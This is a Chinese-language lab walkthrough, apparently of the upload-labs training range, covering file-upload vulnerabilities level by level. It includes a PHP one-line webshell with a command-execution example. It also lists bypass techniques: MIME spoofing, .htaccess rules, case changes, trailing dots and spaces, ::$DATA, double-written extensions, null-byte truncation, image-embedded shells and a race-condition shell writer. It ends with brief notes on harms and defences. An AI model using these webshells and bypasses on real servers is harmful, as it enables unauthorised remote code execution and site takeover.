eval($_REQUEST['cmd']);?>
通过ip地址/shell.php?cmd=system('calc.exe');
可以给靶机弹计算器
编写一句话木马,并将其命名为1.jpg
eval($_REQUEST['cmd']);?>
和第一关一样的方法,编写一句话木马,将2.php修改为2.jpg上传,再通过抓包中途改为2.php,成功上传到后台
另一种方法:
(1) 上传2.php的文件
(2) 通过burp抓包,修改文件类型为image/jpeg、image/png、image/gif
(3) 再发包成功上传
直接上传4.php木马,发现报错
查看代码,发现源码中对扩展名进行了黑名单限制,所限制的文件类型不全,可上传.htaccess文件
所以可利用该文件解析规则增加新的可执行的扩展名.abc绕过,该文件内容如下:
AddType application/x-httpd-php .abc
直接上传木马5.php发现报错
查看源码,发现这里面并没有进行大小写转换,代码里面限制的是以小写php为扩展名的文件
因此我们上传5.PHP木马,成功
直接上传6.php木马,发现报错
查看源码,发现源码中对扩展名后方空格并未进行处理。
因此上传6.php木马,在请求报文中将php扩展名后面添加一个空格,然后发包
成功
查看源码,发现源码中对扩展名后点号(.)未进行处理。
上传7.php,抓包,在请求报文中,将php扩展名后面添加一个点号(.),然后发包
成功
直接上传8.php,抓包,在在请求报文中8.php后面加上::$DATA
前面所有可以利用的都给过滤了,分析下代码,先将首尾去空,又去除了::$DATA又转换为小写,再删去末尾的点。这样一来我们构造文件名,使其经过过滤后得到的还是php的文件名不就行了,所以就1.php. . 就可以绕过,也就是点+空格+点+空格
绕过
成功:
箭头所指代码将黑名单中的后缀名替换为空,而且只替换一次,所以我们可以利用双写来绕过
抓包,并修改后缀名:
成功:
先查看代码:
看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过:
成功
查看代码:
save_path用POST方式传参,应该也是00截断,但是不会像GET方式那样会对%00进行解码。
由于无法自行解码所以我们需要在hex中找到相对应的位置将数字修改为00.
在hex中找到相对应的位置将数字修改为00.
成功:
1.制作图片马:
新建一张空白图片shell.jpg,和一句话木马black.php,然后通过cmd命令行合成图片马:
copy black.jpg /b + shell.php /a blankshell.jpg
2.上传图片马
3.在文件包含漏洞的超链接中输入该图片马对应的路径并执行phpinfo()。
用同样的方法实验,发现页面直接闪无
打开php扩展中的php_exif即可实现。
上传图片马发现失败,查看上传后的图片,发现一句话木马部分被改过。
所以将一句话木马插入没有被渲染的地方,大概就是在文件前段。
成功!
1.准备一个写shell的php脚本文件
fputs(fopen('shell.php','w'),'');?>
2.在保存上传的文件后,在判断类型前有一个时间间隙,需要快速的访问这个php文件
3.该php文件的功能是写一个shell
4.访问写入的shell
(1)含义:由于后端开发者未对前端传入的文件扩展名和内容进行正确的识别和处理,导致攻击者上传的包含动态脚本的恶意代码文件被执行。
(2)危害:覆盖正常文件内容、写入网马(webshell)、控制服务器
(3)绕过手法:
①前端绕过
②后端绕过
(4)防护思路:
①使用白名单但策略核查上传的文件类型
②升级网站组件
③解析漏洞